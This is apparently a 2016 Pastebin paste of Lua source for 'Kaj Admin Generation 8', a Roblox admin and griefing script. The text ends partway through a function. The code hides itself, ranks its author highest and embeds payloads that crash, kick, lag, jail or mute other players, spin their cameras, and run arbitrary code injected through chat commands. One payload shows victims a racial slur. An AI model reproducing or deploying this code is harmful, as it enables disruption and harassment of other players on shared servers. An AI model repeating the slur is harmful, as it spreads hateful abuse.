Advertisement
supreim

Untitled

Jan 31st, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.61 KB | None | 0 0
  1. --((Rare[Main{GLOBAL}Kaj Admin Generation 8
  2. --[[
  3. Kaj Admin Generation 8
  4. Lol global admin
  5. ]]
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18. if script then
  19. coroutine.yield()
  20. script.Parent = nil
  21. end
  22. --[[Stuff]]--
  23. VR = _VERSION
  24. Plrs = game:GetService("Players")
  25. Work = game:GetService("Workspace")
  26. Light = game:GetService("Lighting")
  27. Net = game:GetService("NetworkServer")
  28. Removed = false
  29. Bet = "/"
  30. LS = nil
  31. LSSource = nil
  32. OwnSource = nil
  33. FoundLocalScript = false
  34. LogOn = false
  35. Current = game
  36. Clipboard = {}
  37. AlertColor = Color3.new(0, 0, 0)
  38. OptionColor = Color3.new(0, 0, 0)
  39. ImportantColor = Color3.new(0, 0, 0)
  40. --[[Ranks]]--
  41. RankDetails = {
  42. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  43. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  44. [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
  45. [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  46. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  47. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  48. [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  49. [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
  50. [5] = {Name = "Maximum Adminstrator", Color = Color3.new(0, 0,1), Desc = "Maximum Adminstrator"},
  51.  
  52. }
  53.  
  54. Rankings = {
  55.  
  56. {Name = "supreim", Rank = 5},
  57.  
  58.  
  59.  
  60.  
  61. }
  62.  
  63.  
  64. --[[End of Ranks]]--
  65. ImportantServices = {
  66. "Workspace",
  67. "Players",
  68. "NetworkServer",
  69. "Lighting",
  70. "StarterGui",
  71. "Teams",
  72. "StarterPack",
  73. }
  74.  
  75. Ranks = {}
  76. Commands = {}
  77. AllTabs = {}
  78. Injected = {}
  79.  
  80. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  81. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  82. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  83. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  84. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  85. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  86. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  87. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  88. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  89. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  90. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  91. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  92. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  93. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  94. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  95. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  96. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  97. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  98. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  99. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  100. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  101. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  102. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  103. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  104. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  105. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  106. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  107. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  108. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  109. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  110. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  111. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  112. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  113. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  114. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  115. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  116. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  117. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  118. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  119. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  120. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  121. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  122. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  123. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  124. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  125. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  126. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  127. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  128. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  129. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  130. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  131. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  132. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  133. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  134. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  135. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  136. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  137. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  138. "X","Y"}
  139.  
  140. --Main Functions And Sources
  141.  
  142. function Insert(Source, Par, Par2, Par3)
  143. ypcall(function()
  144. local Inserted = LS:Clone()
  145. Inserted.Disabled = true
  146. Inserted.Parent = Par or Par2 or Par3
  147. Inserted[LSSource].Value = Source
  148. Inserted.Disabled = false
  149. end)
  150. end
  151.  
  152. function CheckImportant(Name)
  153. for _,v in pairs(ImportantServices) do
  154. if v:lower() == Name:lower() then
  155. return true
  156. end
  157. end
  158. return false
  159. end
  160.  
  161. function Crash1(Plr)
  162. ypcall(function()
  163. Plr:Kick()
  164. end)
  165. end
  166.  
  167. function GetRankTab()
  168. return Rankings
  169. end
  170.  
  171. function Crash2(Name)
  172. local Crasher = Instance.new("StringValue")
  173. Crasher.Name = "Client"
  174. Crasher.Value = string.lower(tostring(Name))
  175. Crasher.Parent = game:GetService("Lighting")
  176. wait(1)
  177. if Crasher and Crasher.Parent then
  178. ypcall(function()
  179. Crasher:Destroy()
  180. end)
  181. end
  182. end
  183.  
  184. function Crash3(v, Speaker)
  185. Speaker.Character.Archivable = true
  186. local NChar = Speaker.Character:Clone()
  187. NChar.Name = v.Name
  188. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  189. NChar.Parent = Workspace
  190. v.Character = NChar
  191. coroutine.resume(coroutine.create(function()
  192. repeat v.Character = NChar
  193. wait(1/3) until false
  194. end))
  195. wait(.5)
  196. Insert(InsertCrash, NChar, nil, nil)
  197. end
  198.  
  199. function GenerateDigit()
  200. return 1 + 5
  201. end
  202.  
  203.  
  204. NilS = [==[
  205. if script then
  206. coroutine.yield()
  207. script.Parent = nil
  208. end
  209. Player=game.Players.LocalPlayer
  210. Probe=Instance.new'Part';
  211. CN='Kaj TabletsNil | ['..Player.Name..']'
  212. Camera=Workspace.CurrentCamera
  213. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  214. Char = Player.Character
  215. if Char then
  216. Char.Archivable = true
  217. Char = Char:clone()
  218. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  219. if t then
  220. for k,v in pairs(Char:GetChildren()) do
  221. if not v:IsA("Part") then
  222. v:clone().Parent = t
  223. end
  224. end
  225. Char = t:clone()
  226. if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  227. local spot = Instance.new("SpotLight",Char.Head)
  228. spot.Angle = 10
  229. spot.Range = 10
  230. spot.Color = Color3.new(1,1,1)
  231. spot.Brightness = 10
  232. local point = Instance.new("PointLight",Char.Head)
  233. point.Range = 10
  234. point.Color = Color3.new(1,1,1)
  235. point.Brightness = 10
  236. end
  237. end
  238. end
  239.  
  240. coroutine.resume(coroutine.create(function()
  241. while true do wait(0.00000001)
  242. pcall(function()
  243. if Character.Torso.CFrame.Y < 1 then
  244. Character.Torso.CFrame = CFrame.new(0,20,0)
  245. end
  246. end)
  247. end
  248. end))
  249. Title=function(txt,part,color,rise)
  250. col=nil
  251. col=Color3.new(BrickColor.new(color))
  252. local Gui = Instance.new("BillboardGui",part)
  253. Gui.Name = "3DGUI"
  254. Gui.ExtentsOffset = Vector3.new(0,2,0)
  255. Gui.Size = UDim2.new(8,0,2,0)
  256. local Tit = Instance.new("TextLabel",Gui)
  257. Tit.Name = "Title"
  258. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  259. Tit.TextColor3 = Color3.new(0,0,0)
  260. Tit.TextTransparency = 0.25
  261. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  262. Tit.TextStrokeTransparency = 0.5
  263. Tit.Size = UDim2.new(1,0,1,0)
  264. Tit.BackgroundTransparency = 1
  265. Tit.Font = "ArialBold"
  266. Tit.TextScaled = true
  267. Tit.Text = txt
  268. if rise then
  269. if not tonumber(rise) then rise = 1 end
  270. coroutine.wrap(function()
  271. while Tit.Parent and Gui.Parent and wait() do
  272. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  273. end
  274. end)()
  275. end
  276. return Tit
  277. end
  278. Chat=function(Part,Text,Color,Type)
  279. if Type==nil or Type==1 or Type=='Bubble' then
  280. game:service'Chat':Chat(Part,Text,Color)
  281. else
  282. if type(Color)~='string' then
  283. Color=tostring(BrickColor.random())
  284. end
  285. Title(Text,Part,Color,math.random(1,3))
  286. end
  287. end
  288. DestroyCharacter=function()
  289. local chara = Player.Character
  290. if not chara then return end
  291. if chara:findFirstChild("Humanoid") then
  292. chara.Humanoid:Destroy()
  293. end
  294. chara:BreakJoints()
  295. for k,v in pairs(chara:GetChildren()) do
  296. if v:IsA("BasePart") then
  297. v.CanCollide = false
  298. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  299. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  300. end
  301. end
  302. game.Debris:AddItem(chara,3)
  303. end
  304. MakeProbe=function()
  305. if Player.Character then DestroyCharacter() end Player.Character = nil
  306. if Probe then Probe:Destroy() end
  307. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  308. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  309. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  310. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  311. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  312. Player.Character=Probe
  313. end
  314. Spawn=function()
  315. if Char then
  316. local c = Char:clone()
  317. c.Name = CN
  318. c.Parent = workspace
  319. c:MoveTo(workspace.CurrentCamera.Focus.p)
  320. Player.Character = c
  321. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  322. workspace.CurrentCamera.CameraType = "Custom"
  323. Probe:Destroy()
  324. end
  325. end
  326. Player.Chatted:connect(function(Msg)
  327. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  328. if Msg:sub(1,2) == '//' then
  329. local Func,Error=loadstring(Msg:sub(3))
  330. if Error==nil then
  331. pcall(Func)
  332. if Player.Character then
  333. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  334. end
  335. else
  336. if Player.Character then
  337. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  338. else
  339. local Msg=Instance.new'Message'
  340. Msg.Parent=Workspace.CurrentCamera
  341. Msg.Text=Error
  342. game:service'Debris':AddItem(Msg,5)
  343. end
  344. end
  345. elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  346. NewMsg=Msg:sub(#('newlocal')+3)
  347. Split=NewMsg:find('/')
  348. local PlayerName=NewMsg:sub(1,Split-1)
  349. local Source=NewMsg:sub(Split+1)
  350. Player=nil
  351. for i,v in pairs(game.Players:GetPlayers()) do
  352. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  353. if Player==nil then
  354. Player=v
  355. else
  356. if type(Player) == 'table' then
  357. Player[#Player+1]=v
  358. else
  359. Player={v}
  360. end
  361. end
  362. end
  363. end
  364. if type(Player)=='table' then
  365. for i,v in pairs(Player) do
  366. if newLocalScript then
  367. newLocalScript(Source,v.Character)
  368. else
  369. Clone=script:clone();
  370. SourceC=Clone:children()[1]
  371. if SourceC:IsA'StringValue' then
  372. print'String'
  373. else
  374. SourceC=Clone:children()[2]
  375. end
  376. SourceC.Value=Source
  377. Clone.Disabled=true
  378. Clone.Parent=v.Character
  379. Clone.Disabled=false
  380. end
  381. end
  382. else
  383. if newLocalScript then
  384. newLocalScript(Source,Player.Character)
  385. else
  386. Clone=script:clone();
  387. DS=Clone:children()
  388. DSS=nil
  389. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  390. DSS.Value=Source
  391. Clone.Disabled=true;
  392. Clone.Parent=Player.Character
  393. Clone.Disabled=false
  394. end
  395. end
  396. elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  397. game:service'TeleportService':Teleport(Game.PlaceId)
  398. elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  399. MakeProbe()
  400. elseif Msg:sub(1,#('char')+2) =='/char/' then
  401. Spawn()
  402. elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  403. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  404. if Player then
  405. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  406. end
  407. end
  408. wait()
  409. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  410. if Probe then
  411. Chat(Probe,Msg,math.random(0,2))
  412. else
  413. if Player.Character==nil then
  414. if Char then
  415. Chat(Char.Head,Msg,math.random(0,2))
  416. end
  417. else
  418. Chat(Player.Character.Head,Msg,'Red')
  419. end
  420. end
  421. end
  422. end) -- local
  423. ]==]
  424.  
  425. InjectionCrash = [=[
  426. wait(0)
  427. script.Parent = nil
  428. local Lig = game:GetService("Lighting")
  429. local LP = game:GetService("Players").LocalPlayer
  430. local LowerName = LP.Name:lower()
  431.  
  432. Lig.ChildAdded:connect(function(Obj)
  433. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  434. pcall(function()
  435. Obj:Destroy()
  436. end)
  437. LP.Parent = nil
  438. LP.Parent = game:GetService("Players")
  439. end
  440. end)
  441. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
  442.  
  443. InsertCrash = [==[
  444. local LP = game:GetService("Players").LocalPlayer
  445. LP.Parent = nil
  446. LP.Parent = game:GetService("Players")
  447. ]==]
  448.  
  449. LagSource = [==[
  450. wait(0)
  451. script.Parent = nil
  452. plr = game:GetService("Players").LocalPlayer
  453. local plrgui = plr:findFirstChild("PlayerGui")
  454. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  455. while plr.Parent == game:GetService("Players") do
  456. wait()
  457. for i = 1, 1000 do
  458. local sc = Instance.new("ScreenGui",plrgui)
  459. local fr = Instance.new("TextLabel",sc)
  460. fr.Text = "LAGGING"
  461. fr.Size = UDim2.new(1, 0, 1, 0)
  462. fr.FontSize = "Size48"
  463. end
  464. end
  465. ]==]
  466.  
  467. MuteSource = [==[
  468. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  469. ]==]
  470.  
  471. UnMuteSource = [==[
  472. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  473. ]==]
  474.  
  475. FunScript = [[
  476. LP = game:service'Players'.LocalPlayer
  477. Shapes = {"Ball", "Block"}
  478. wait()
  479. script.Parent = nil
  480. Delay(0, function()
  481. while wait() do
  482. workspace.CurrentCamera.CameraType = "Scriptable"
  483. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  484. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  485. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  486. local Part = Instance.new("Part", workspace.CurrentCamera)
  487. Part.Shape = Shapes[math.random(1, 2)]
  488. Part.Anchored = true
  489. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  490. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  491. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  492. local Smoke = Instance.new("Smoke", Part)
  493. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  494. Smoke.Opacity = 0.7
  495. local Sparkles = Instance.new("Sparkles", Part)
  496. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  497. local Fire = Instance.new("Fire", Part)
  498. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  499. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  500. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  501. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  502. Ex.BlastPressure = 15
  503. Ex.BlastRadius = 12.5
  504. if not workspace.CurrentCamera:findFirstChild("Hint") then
  505. local mes = Instance.new("Hint", workspace.CurrentCamera)
  506. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  507. end
  508. end
  509. end)
  510. ]]
  511.  
  512. JailSource = [==[
  513. wait(0)
  514. script.Parent = nil
  515.  
  516. local LP = game:GetService("Players").LocalPlayer
  517. Middle2 = nil
  518. Middle = nil
  519. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  520.  
  521. Cons = {}
  522.  
  523. function makePrison()
  524. for _,v in pairs(Cons) do
  525. v:disconnect()
  526. end
  527. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  528. if Middle == nil then
  529. Middle2 = LP.Character.Torso.Position
  530. Middle = LP.Character.Torso.CFrame
  531. end
  532. local side1 = Instance.new("Part")
  533. side1.Name = "¬Focus1¬"
  534. side1.Size = Vector3.new(20, 50, 1)
  535. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  536. side1.BrickColor = BrickColor.new("Really black")
  537. side1.CanCollide = true
  538. side1.Anchored = true
  539. side1.TopSurface = "Smooth"
  540. side1.BottomSurface = "Smooth"
  541. side1.Parent = game:GetService("Workspace").CurrentCamera
  542.  
  543. local side2 = Instance.new("Part")
  544. side2.Name = "¬Focus2¬"
  545. side2.Size = Vector3.new(20, 50, 1)
  546. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  547. side2.BrickColor = BrickColor.new("Really black")
  548. side2.CanCollide = true
  549. side2.Anchored = true
  550. side2.TopSurface = "Smooth"
  551. side2.BottomSurface = "Smooth"
  552. side2.Parent = game:GetService("Workspace").CurrentCamera
  553.  
  554. local side3 = Instance.new("Part")
  555. side3.Name = "¬Focus3¬"
  556. side3.Size = Vector3.new(1, 50, 20)
  557. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  558. side3.BrickColor = BrickColor.new("Really black")
  559. side3.CanCollide = true
  560. side3.Anchored = true
  561. side3.TopSurface = "Smooth"
  562. side3.BottomSurface = "Smooth"
  563. side3.Parent = game:GetService("Workspace").CurrentCamera
  564.  
  565. local side4 = Instance.new("Part")
  566. side4.Name = "¬Focus4¬"
  567. side4.Size = Vector3.new(1, 50, 20)
  568. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  569. side4.BrickColor = BrickColor.new("Really black")
  570. side4.CanCollide = true
  571. side4.Anchored = true
  572. side4.TopSurface = "Smooth"
  573. side4.BottomSurface = "Smooth"
  574. side4.Parent = game:GetService("Workspace").CurrentCamera
  575.  
  576. local side5 = Instance.new("Part")
  577. side5.Name = "¬Focus5¬"
  578. side5.Size = Vector3.new(20, 1, 20)
  579. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  580. side5.BrickColor = BrickColor.new("Really black")
  581. side5.CanCollide = true
  582. side5.Anchored = true
  583. side5.TopSurface = "Smooth"
  584. side5.BottomSurface = "Smooth"
  585. side5.Parent = game:GetService("Workspace").CurrentCamera
  586.  
  587. wait(0)
  588.  
  589. table.insert(Cons, side1.Changed:connect(makePrison))
  590. table.insert(Cons, side2.Changed:connect(makePrison))
  591. table.insert(Cons, side3.Changed:connect(makePrison))
  592. table.insert(Cons, side4.Changed:connect(makePrison))
  593. table.insert(Cons, side5.Changed:connect(makePrison))
  594. end
  595.  
  596. Delay(0, function()
  597. while wait(0) do
  598. ypcall(function()
  599. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  600. LP.Character:BreakJoints()
  601. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  602. makePrison()
  603. end
  604. end)
  605. ypcall(function()
  606. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  607. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  608. end
  609. end)
  610. end
  611. end)
  612. ]==]
  613.  
  614. function All()
  615. local AllPlayers = {}
  616. for _,v in pairs(Plrs:GetPlayers()) do
  617. ypcall(function()
  618. table.insert(AllPlayers, v)
  619. end)
  620. end
  621. return AllPlayers
  622. end
  623.  
  624. function All2()
  625. local AllPlayers2 = {}
  626. for i,v in pairs(Net:GetChildren()) do
  627. ypcall(function()
  628. if v:IsA("ServerReplicator") then
  629. table.insert(AllPlayers2, v:GetPlayer())
  630. end
  631. end)
  632. end
  633. return AllPlayers2
  634. end
  635.  
  636. function MakeNum()
  637. return 2 + 4
  638. end
  639.  
  640. function ChangeRank(Plr, NewRank)
  641. local PlrName = nil
  642. local FoundPlayer = false
  643. ypcall(function()
  644. if type(Plr) == "string" then
  645. ypcall(function()
  646. for i,v in pairs(Rankings) do
  647. if v.Name:lower() == Plr:lower() then
  648. local VName = v.Name
  649. Rankings[i] = nil
  650. table.insert(Rankings, {Name = VName, Rank = NewRank})
  651. PlrName = VName
  652. FoundPlayer = true
  653. break
  654. end
  655. end
  656. end)
  657. if FoundPlayer == false then
  658. ypcall(function()
  659. for _,x in pairs(All()) do
  660. if x.Name:lower() == Plr:lower() then
  661. FoundPlayer = true
  662. for i,v in pairs(Rankings) do
  663. if v.Name:lower() == x.Name:lower() then
  664. local VName = x.Name
  665. Rankings[i] = nil
  666. PlrName = VName
  667. break
  668. end
  669. end
  670. table.insert(Rankings, {Name = VName, Rank = NewRank})
  671. end
  672. end
  673. end)
  674. end
  675. if FoundPlayer == false then
  676. ypcall(function()
  677. for _,x in pairs(All()) do
  678. if string.find(x.Name:lower(), Plr:lower()) then
  679. FoundPlayer = true
  680. for i,v in pairs(Rankings) do
  681. if v.Name:lower() == x.Name:lower() then
  682. local VName = x.Name
  683. Rankings[i] = nil
  684. PlrName = VName
  685. break
  686. end
  687. end
  688. table.insert(Rankings, {Name = VName, Rank = NewRank})
  689. end
  690. end
  691. end)
  692. end
  693. if FoundPlayer == false then
  694. ypcall(function()
  695. for i,v in pairs(Rankings) do
  696. if string.find(v.Name:lower(), Plr:lower()) then
  697. local VName = v.Name
  698. Rankings[i] = nil
  699. table.insert(Rankings, {Name = VName, Rank = NewRank})
  700. PlrName = VName
  701. FoundPlayer = true
  702. break
  703. end
  704. end
  705. end)
  706. end
  707. else
  708. for i,v in pairs(Rankings) do
  709. if v.Name:lower() == Plr.Name:lower() then
  710. Rankings[i] = nil
  711. break
  712. end
  713. end
  714. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  715. PlrName = Plr.Name
  716. end
  717. PlaceAllRanks(true)
  718. end)
  719. if PlrName ~= nil then
  720. return PlrName
  721. else
  722. return "Player"
  723. end
  724. end
  725.  
  726. function Refresh(Plr)
  727. MakeChildren(Plr)
  728. end
  729.  
  730. function MakeChildren(Plr)
  731. ypcall(function()
  732. Dismiss(Plr)
  733. for _,v in pairs(Current:GetChildren()) do
  734. ypcall(function()
  735. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  736. Ping(v.Name, Plr, nil, function(TabMod)
  737. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  738. for _,v in pairs(Current:GetChildren()) do
  739. ypcall(function()
  740. if v.Name == TabText then
  741. Dismiss(Plr)
  742. Current = v
  743. MakeChildren(Plr)
  744. end
  745. end)
  746. end
  747. end)
  748. elseif Plrs:GetPlayerFromCharacter(v) then
  749. Ping(v.Name, Plr, nil, function(TabMod)
  750. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  751. for _,v in pairs(Current:GetChildren()) do
  752. ypcall(function()
  753. if v.Name == TabText then
  754. Dismiss(Plr)
  755. Current = v
  756. MakeChildren(Plr)
  757. end
  758. end)
  759. end
  760. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  761. elseif CheckImportant(v.Name) then
  762. Ping(v.Name, Plr, nil, function(TabMod)
  763. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  764. for _,v in pairs(Current:GetChildren()) do
  765. ypcall(function()
  766. if v.Name == TabText then
  767. Dismiss(Plr)
  768. Current = v
  769. MakeChildren(Plr)
  770. end
  771. end)
  772. end
  773. end, ImportantColor)
  774. end
  775. end)
  776. end
  777. if Current ~= game then
  778. Ping("Back", Plr, nil, function()
  779. ypcall(function()
  780. Current = Current.Parent
  781. MakeChildren(Plr)
  782. Ping("You Are Back To "..Current.Name, Plr, 5)
  783. end)
  784. end, OptionColor)
  785. end
  786. if Current ~= game then
  787. Ping("Delete", Plr, nil, function()
  788. ypcall(function()
  789. local CurrPar = Current.Parent or game
  790. local CurrName = Current.Name
  791. Current:Destroy()
  792. Current = CurrPar
  793. MakeChildren(Plr)
  794. Ping("Attempted To Delete "..CurrName, Plr, 5)
  795. end)
  796. end, OptionColor)
  797. end
  798. Ping("Refresh", Plr, nil, function()
